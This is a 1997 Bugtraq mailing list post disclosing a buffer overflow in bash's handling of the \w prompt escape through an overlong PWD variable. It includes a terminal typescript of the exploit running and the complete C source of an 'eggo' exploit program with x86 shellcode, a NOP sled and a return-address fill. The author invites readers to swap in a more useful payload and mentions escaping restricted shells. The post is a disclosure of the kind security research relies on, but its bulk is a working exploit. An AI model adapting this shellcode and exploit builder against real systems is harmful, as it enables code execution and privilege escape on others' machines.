Bugtraq mailing list archives
Buffer overflow in /bin/bash
From: drazvan () KAPPA RO (Razvan Dragomirescu)
Date: Thu, 21 Aug 1997 18:31:27 +0300
Hello again, If this is old, I'm sorry but I wasn't able to find it elsewhere. There is a buffer overflow condition in the way "bash" treats the expansion of the prompt line (as specified by PS1). I usually use something like PS1=\h:\w\$ which is very nice. \h is the host name, \w is the working directory and \$ is either '#' or '$', depending on your UID. The problem is with \w. It appears it reads the current working directory from the PWD environment variable. It then adds it to the prompt line, which I think has a fixed length, somewhere around 1024 bytes. (Can anyone confirm this? I do not have the C source. Yet.). By writing past the end of this buffer, you can execute arbitrary code. Take a look at this: (The exploit code is heavily based on AlephOne's "Smashing the Stack for Fun and Profit". I've changed the string "/bin/sh" to "/bin/ls". A shell spawning another shell wouldn't do much magic :) My comments start with ##). --typescript-- ## Some sysinfo first. paul:~/2$ uname -a Linux paul 2.0.29 #3 Wed Aug 6 01:50:05 GMT+2 1997 i486 paul:~/2$ bash -version GNU bash, version 1.14.7(1) ## I've tested it on a 2.00 beta too and it works. If anyone has a newer version, please let me know if it works. paul:~/2$ pwd /home/drazvan/2 ## We'll get a file listing to compare it with the one at the bottom. paul:~/2$ ls eggo eggo.c shellcode.h smashsta.txt typescript paul:~/2$ ./eggo [ Buffer size: 2048 Egg size: 2048 Aligment: 0 ] [ Address: 0xbffffb60 Offset: 0 ] ## We'll change PS1 to include '\w' bash$ export PS1='\w:' ## You can see the working directory now (~/2). Now set the PWD variable. ~/2:export PWD=$BOF ## Kaboom.... sh: ûÿ¿: command not found sh: ûÿ¿: command not found sh: ûÿ¿: command not found sh: ûÿ¿: command not found sh: ûÿ¿: command not found (...a few lines were suppressed) sh: ûÿ¿: command not found sh: ûÿ¿: command not found sh: ûÿ¿: command not found sh: ûÿ¿: command not found sh: ûÿ¿: command not found sh: ûÿ ë ^v 1ÀF F ° óN V Í1ÛØ@ÍèÜÿÿÿ/bin/ls: File name too long eggo eggo.c shellcode.h smashsta.txt typescript ## Bingo! Bash just executed our ls! You can of course change /bin/ls to something more useful. paul:~/2$ --end of typescript-- The only problem with this is that I don't see many uses for this overflow. "bash" is not a setuid program (I wish it were...). Maybe you could bypass a restricted shell based on bash, or create directories with very long names in order to get past the end of the buffer. But I'm sure one of you will think of something useful to do with it. Now, here's the source for that "eggo" program you've seen: --eggo.c-- #include <stdlib.h> #include <stdio.h> #include <unistd.h> #define NOP_SIZE 1 #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 2048 #define DEFAULT_EGG_SIZE 2048 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/ls"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggo [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n"); } --end of eggo.c-- My special thanks to Doru Petrescu <pdoru () kappa ro> who first noticed the problem while "cd"-ing to _very_ long paths for the fun of seeing bash crash. And of course to AlephOne for his wonderful "Smashing the Stack for Fun and Profit". My exploit program is entirely based on his "eggshell" code. Have fun and be good, Razvan -- Razvan Dragomirescu drazvan () kappa ro, drazvan () romania ro, drazvan () roedu net Phone: +40-1-6866621 "Smile, tomorrow will be worse" (Murphy)
Current thread:
- Buffer overflow in /bin/bash Razvan Dragomirescu (Aug 21)
- Re: Buffer overflow in /bin/bash Kris Benson (Aug 26)